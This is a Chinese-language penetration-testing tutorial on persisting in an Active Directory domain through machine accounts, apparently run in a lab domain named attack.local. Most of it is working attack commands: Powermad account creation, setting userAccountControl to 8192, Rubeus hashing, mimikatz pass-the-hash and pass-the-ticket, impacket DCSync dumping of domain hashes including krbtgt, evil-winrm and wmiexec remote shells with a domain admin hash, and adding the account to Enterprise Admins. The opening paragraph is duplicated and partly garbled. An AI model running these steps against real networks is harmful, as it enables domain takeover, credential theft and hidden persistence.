0x00 前言
机器账户在许多技术中可以用于提权或横向移动,如使用机器账户的委派进行dcsyn了上述作用,使用机器账户也可进行维权操作。我们可以将任意计算机账户添加到高权限组(例如Domain Admin、Domain Controllers、Enterprise Admins) 或对计算机账户的userAccountControl属性进行修改。使用这两种方式,我们可以通过机器账户在域内进行身份认证(因为密码已知)并进行提权操作,例如Dcsync拖取域内hash。
除了上述作用,使用机器账户也可进行域维权操作。我们可以将任意计算机账户添加到高权限组(例如Domain Admin、Domain Controllers、Enterprise Admins) 或对计算机账户的userAccountControl
属性进行修改。使用这两种方式,我们可以通过机器账户在域内进行身份认证(因为密码已知)并进行提权操作,例如Dcsync拖取域内hash。
0x01 userAccountControl说明
默认的情况下,域中的标准用户最多可以创建10个机器账户,这是由ms-DS-MachineAccountQuota进行设定的。我们可以使用Powermad等工具从加入域和未加入域的主机中进行添加账户操作。但为了让机器账户在域中显示为域控制器,我们还需要将userAccountControl
属性设置为0x2000(SERVER_TRUST_ACCOUNT)的值。0x2000换算为十进制数字为8192.修改此属性需要域管理员级别的权限。下面我们从ADSI编辑器中进行修改,改为8192
0x02 PowerMad+Active Directory组合:
添加机器账户
我们在进行维权时,可以从利用工具从命令行创建机器账户。例如Standln、SharpMad以及PowerMad等工具;下面展示如何利用PowerMad在域内添加一个机器账户。
Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount Nayon -Domain attack.local -DomainController dc.attack.local
此时我们便添加机器账户成功了,利用如下命令查看:
net group "domain computers" /domain
修改机器账户userAccountControl属性值
我们所创建的这台机器账户primarygroupid经过查询可知是515,他是域组的RID,表示这是一台域计算机,利用Active-Module模块,使用域管权限账户为计算机账户Nayon修改userAccountControl
值为8192,则primarygroupid将更改为属于域控制器(可写)的 516。
Get-ADComputer Nayon -pro * | Select-object name, primarygroupid, useraccountcontrol
Set-ADComputer Nayon -replace @{ "userAccountcontrol" = 8192 }
此处为执行效果。
获得机器账户hash
由于我们已知机器账户的密码,因此我们可以利用它的NTLM 、aes128、aes256 hash 来进行pth,用于获得一个拥有域控制器权限的会话。
利用Rubes将Nayon账户的明文密码转为NTLM hash,用于维权时进行的pth。
Rubeus.exe hash /user:Nayon /password:Password@1! /domain:attack.local
如图所示,成功拿到了机器账户的hash。
利用方式:
PTH传递获得权限
在域内机器上利用mimikatz进行pth攻击,成功弹回具有Nayon用户权限的新会话。
sekurlsa::pth /user:Nayon /domain:attack.local /aes128:95F9380561068098A673F425207EFA0D
注意:此处拿到的会话,唯有域用户处于高权限组内才可使用dcsync获得域内hash。
利用PTT获得权限
由于PTH是需要本地管理员权限的,若我们此时连本地管理员权限都没有,我们还可以使用mimikatz自带的ptt功能拿到相应权限。
注意:此处拿到的会话,本人本地测试即使是将机器用户的userAccountConrol
属性值改为8192也无法执行dcsync获得域内hash,唯有划入域内高权限组内可以使用机器账户权限执行dcsync。
利用利用Rubes申请拿到机器账户的hash
Rubeus.exe hash /user:Nayon /password:123456 /domain:attack.local
使用keke申请tgt票据,用于下一步的ptt攻击
tgt::ask /user:Nayon2 /domain:attack.local /ntlm:32ED87BDB5FDC5E9CBA88547376818D4
kerberos::ptt TGT_Nayon@ATTACK.LOCAL_krbtgt~attack.local@ATTACK.LOCAL.kirbi
此时成功拿到域内hash
利用impacket套件执行dcsync
使用Impacket套件中的secretsdump.py脚本,结合域内机器账户的凭证拖取域内hash
python3 secretsdump.py attack.local/Nayon\$:'Password@1!'@10.10.10.165 -just-dc
利用其中的域管NTLM hash与域控机进行通信
Evil-WinRM通过WinRM远程链接
前提是域管开启WinRM服务,默认端口5985
指定域管用户以及域管用户的NTLM hash 远程链接
evil-winrm -i 10.10.10.165 -u administrator -H dbf36575210cc5a38ab4050cc6a2e9aa
Impacket套件wmiexec.py远程链接
python3 wmiexec.py -hash dbf36575210cc5a38ab4050cc6a2e9aa administrator@10.10.10.165
加入高权限用户组用以维权
除去域用户之外,域内机器账户也可以添加到高权限用户组中用以维权。利用Active Directory模块查询域管用户所在的用户组。
Get-ADGroupMember "administrators"
使用域管权限的会话添加机器账户Nayon$到高权限用户组内。
可加入Enterprise Admins、Administrators、Domain Admins等高权限组内用以维权。
net group "Enterprise admins" Nayon$ /add /domain
利用net group查看是否被添加成功
net group "Enterprise admins" /domain
此时我们便可以使用Impacket中的secretsdump项目获得域内hash
python3 secretsdump.py attack.local/Nayon\$:'123456'@10.10.10.165 -just-dc-user krbtgt
参考链接:
https://pentestlab.blog/2022/01/17/domain-persistence-machine-account/